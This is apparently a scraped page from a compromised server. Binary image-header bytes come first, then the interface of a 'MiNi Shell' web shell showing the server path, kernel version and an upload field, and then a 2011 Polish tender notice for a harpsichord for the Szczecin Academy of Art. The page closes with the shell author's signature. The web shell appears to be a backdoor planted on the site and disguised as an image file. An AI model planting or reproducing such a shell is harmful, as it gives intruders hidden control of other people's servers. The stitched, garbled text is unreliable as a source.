JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20111010/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20111010/265821-N-2011.html

<p class="kh_header"><b>Szczecin: DOSTAWA KLAWESYNU DLA AKADEMII SZTUKI W SZCZECINIE</b><br>
<b>Numer ogłoszenia: 265821 - 2011; data zamieszczenia: 10.10.2011</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Akademia Sztuki w Szczecinie , plac Orła Białego 2, 70-562 Szczecin, woj. zachodniopomorskie, tel. 91 8876678.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.akademiasztuki.eu</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> DOSTAWA KLAWESYNU DLA AKADEMII SZTUKI W SZCZECINIE.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.	Przedmiotem zamówienia jest dostawa klawesynu dla Akademii Sztuki w Szczecinie. W zakres zamówienia wchodzi dostarczenie Zamawiającemu klawesynu wraz z akcesoriami do siedziby Zamawiającego.
2.	Szczegółowy zakres oraz opis techniczny klawesynu, w tym miejsce dostawy, o którym mowa w ust. 1 niniejszego działu, określa Załącznik nr 1 specyfikacji.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 37.31.00.00-4.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w dniach: 14.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1.	Ocena spełniania warunku udziału w postępowaniu, o którym mowa w dziale V ust. 1 pkt 2) specyfikacji zostanie dokonana na zasadzie ustalenia przez Zamawiającego istnienia jednego z dwóch alternatywnych zdań: spełnia/nie spełnia warunek. Zamawiający uzna, iż Wykonawca wykazał spełnienie warunku posiadania wiedzy i doświadczenia, jeżeli:
1)	Wykonawca składający ofertę potwierdzi Zamawiającemu fakt wykonania co najmniej jednej dostawy instrumentu muzycznego spełniającej następujące warunki:
a)	Dostawa stanowiła przedmiot odrębnie zawartej umowy i polegała na dostawie instrumentu muzycznego
b)	Dostawa wykonana została (zakończona) w okresie ostatnich trzech lat przed upływem składania ofert w niniejszym postępowaniu (a jeżeli okres prowadzenia działalności przez Wykonawcę jest krótszy niż trzy lata, to w tym okresie);
c)	Dostawa została wykonana prawidłowo zgodnie z zawartą umową;
d)	Dostawa, o której mowa w niniejszym punkcie lit. a - c) była o wartości nie mniejszej niż równowartość 50 000 zł (słownie: pięćdziesiąt tysięcy złotych).
2)	Przez wartość, o której mowa w pkt 1 lit. d) niniejszego ustępu Zamawiający rozumiał będzie kwotę stanowiącą cenę zapłaty z tytułu wykonania umowy o dostawę, wraz z należnościami publicznoprawnymi w tym podatkiem VAT.
3)	Przez instrument muzyczny, o którym mowa w pkt 1 lit a) niniejszego ustępu Zamawiający będzie rozumiał - jakikolwiek instrument muzyczny profesjonalny. 
4)	Z zastrzeżeniem wyjątku wskazanego w ust. 2 niniejszego działu, dostawy wymagane 
na podstawie pkt 1 - 3) niniejszego ustępu będą dostawami wykonanymi przez Wykonawcę 
(ocena Zamawiającego dokonywana będzie w oparciu o wyłączne zasoby Wykonawcy), 
przy czym, w przypadku Wykonawców wspólnie ubiegających się o zamówienie, ocena spełnienia wskazanego wymogu dokonana zostanie w oparciu o łączne zasoby dostaw Wykonawców wspólnie ubiegających się o zamówienie, co w szczególności będzie polegało na tym, że Zamawiający 
za wystarczające, co do wykazania faktu wykonania wymaganych dostaw, uzna również potwierdzenie ich wykonania tylko przez niektórych, wszystkich łącznie, lub jednego z Wykonawców wspólnie ubiegających się o zamówienie.
5)	Potwierdzenie wykonania dostaw, stosownie do wymagań pkt 1 - 4) niniejszego ustępu nastąpi poprzez przedłożenie Zamawiającemu wymaganych w tym celu dokumentów, o których mowa w dziale VII ust. 1 specyfikacji. Jeżeli kwota wartości wymaganych dostaw na wskazanych dokumentach będzie wyrażona w walucie obcej, dla dokonania oceny spełnienia wymogów wartościowych wskazanych w ust 1 pkt 1 lit d) oraz pkt 2) niniejszego ustępu, Zamawiający przyjmie kurs sprzedaży tej waluty ustalony przez Narodowy Bank Polski (NBP) na dzień dokonania odbioru dostawy przez jej odbiorcę.
6)	Wykonawca złoży Zamawiającemu oświadczenie o którym mowa w dziale VII ust. 2 specyfikacji.
7)	Dokumenty, o których mowa w pkt 5 i 6) niniejszego ustępu zostaną złożone Zamawiającemu 
najpóźniej w terminie wyznaczonym na złożenie oferty w niniejszym postępowaniu 
lub (w przypadkach, zakresie oraz w sposób wynikający z treści art. 26 ust. 3 PZP) zostaną złożone Zamawiającemu w dodatkowym terminie wyznaczonym przez Zamawiającego.
8)	Dokumenty, o których mowa w pkt 5 - 7) niniejszego ustępu zostaną złożone Zamawiającemu 
z uwzględnieniem właściwych dla danego dokumentu postanowień (w tym postanowień 
co do formy w jakiej dokumenty mają być złożone) wskazanych w dziale VII ust. 5 - 9 specyfikacji</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

</ul></li>
<li>
</li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.	Zamawiający dopuszcza możliwość zmiany zawartej umowy o niniejsze zamówienie publiczne. Zmiana nastąpi wyłącznie w przypadkach i na warunkach wskazanych w ust. 2 - 13 niniejszego działu.
2.	Ustalony w umowie na podstawie specyfikacji termin wykonania umowy może ulec wydłużeniu  w następujących przypadkach:
1)	Zachodzić będzie konieczność wykonania zamówień nie objętych umową, których wykonanie stało się konieczne na skutek sytuacji zaistniałej po stronie zamawiającego na etapie po złożeniu ofert w niniejszym postępowaniu, i w wykonanie umowy będzie uzależnione od uprzedniego wykonania zamówień nieobjętych umową;
2)	Niezawinionych przez wykonawcę opóźnień Zamawiającego w wykonane czynności, od których uzależniona jest możliwość wykonania obowiązków nałożonych umową na wykonawcę, 
3)	Wstrzymania przez zamawiającego wykonywania umowy (zawieszenie terminów wynikających 
z umowy) z powodu opóźnienia lub zawieszenia przekazywania zamawiającemu środków finansowych, z których płatne jest wynagrodzenie z tytułu umowy przez ich dysponenta. 
3.	Ustalony w umowie termin wykonania usług w ramach gwarancji może ulec przedłużeniu, jeżeli jego zachowanie będzie niemożliwe lub poważnie utrudnione z przyczyn niezależnych od wykonawcy.
4.	Wydłużenie terminów, o których mowa w ust. 2 i 3 niniejszego działu będzie również dopuszczalne 
z powodu siły wyższej. Przez siłę wyższą będą rozumiane wszelkie wydarzenia, istniejące lub mogące zaistnieć w przyszłości, które mają wpływ na realizację umowy, znajdujące się poza realną kontrolą zamawiającego i wykonawcy i których nie można było przewidzieć lub, które, choć przewidywalne, były nie-uniknione, nawet po przedsięwzięciu przez zamawiającego lub wykonawcę wszelkich uzasadnionych kroków dla uniknięcia takich wydarzeń. Za wystąpienie Siły wyższej uznane będą w szczególności takie wydarzenia, jak: zamieszki, wojny, pożary, powodzie, huragany, trzęsienia ziemi, pro?mieniowanie, epidemie, strajk generalny lub branżowy trwający dłużej niż 5 dni.
5.	Objęta przedmiotem umowy dostawa klawesynu będzie mogła zostać zastąpiona przez instrument tego samego rodzaju o parametrach technicznych, czy innych właściwościach, nie gorszych niż instrument stanowiący przedmiot umowy (zgodnie z wymaganiami ustalonym w załączniku nr 1 specyfikacji). Zmiana umowy z przyczyn wskazanych w niniejszym ustępie nie może prowadzić do zwiększenia wynagrodzenia wykonawcy w stosunku do wynagrodzenia określonego w umowie.
6.	Dopuszczona będzie możliwość zmiany terminów płatności za wykonanie zamówienia, w stosunku 
do terminów ustalonych we wzorze umowy stanowiącym załącznik nr 7 specyfikacji.
7.	Dopuszczona zostanie również możliwość zmiany określonego w umowie miejsca, w którym instrumenty 
mają być dostarczona lub miejsca, w którym mają być złożone. 
8.	Wskazane w umowie wynagrodzenie wykonawcy z może ulec zmianie w przypadku zmiany obowiązującej stawki podatku VAT. Podstawą zmiany może być wyłącznie kwota wynikająca ze zmiany stawki podatku VAT. Zmiana dotyczyć może wyłącznie tych części wynagrodzenia, które dotyczą czynności, których wykonanie podlega opodatkowaniu zmienioną stawka podatku VAT.
9.	Niezależnie od postanowień ust. 2 - 9 przewiduje się możliwość zmiany postanowień umowy w przypadku, gdy:
a)	Nastąpi zmiana powszechnie lub miejscowo obowiązujących przepisów prawa w zakresie mającym wpływ na realizacje umowy;
b)	Konieczność wprowadzenia zmian będzie następstwem zmian wprowadzonych w umowach pomiędzy zamawiającym a inną niż wykonawca stroną;
c)	Wynikną rozbieżności lub niejasności w umowie, których nie można usunąć w inny sposób, 
a zmiana będzie umożliwiać usunięcie rozbieżności i doprecyzowanie umowy zgodnie 
z jej celem lub w celu jednoznacznej interpretacji jej zapisów przez wykonawcę i zamawiającego;
10.	Przewiduje się możliwość zmiany postanowień umowy o niniejsze zamówienie publiczne również 
w zakresie, w jakim będzie to konieczne jako logiczne następstwo wynikające ze zmian umowy dokonanych lub dokonywanych na podstawie ust. 2 - 10 niniejszego działu.
11.	Zmiana umowy o niniejsze zamówienie publiczne będzie również dopuszczalna w innych niż wskazane 
w ust. 2 - 11 niniejszego działu przypadkach, jeżeli nie będą one dotyczyć istotnych postanowień zawartej umowy w stosunku do oferty, na podstawie której dokonano wyboru wykonawcy 
(art. 144 ust. 1 PZP a contrario).
12.	Pod rygorem nieważności, zmiany umowy, o których mowa w ust 1 - 12 niniejszego działu, wymagają zachowania formy aneksu podpisanego przez zamawiającego i wykonawcę jako stron umowy 
(żadnej ze stron nie przysługuje roszczenie o zawarcie aneksu)</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.akademiasztuki.eu<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Akademia Sztuki w Szczecinie,
Plac Orła Białego 2,
70-562 Szczecin
tel: 664 080 254 fax: 91 852 38 14.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 18.10.2011 godzina 12:00, miejsce: Akademia Sztuki w Szczecinie,
Plac Orła Białego 2,
70-562 Szczecin, Sekretariat Rektora, pok. 108, I piętro.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com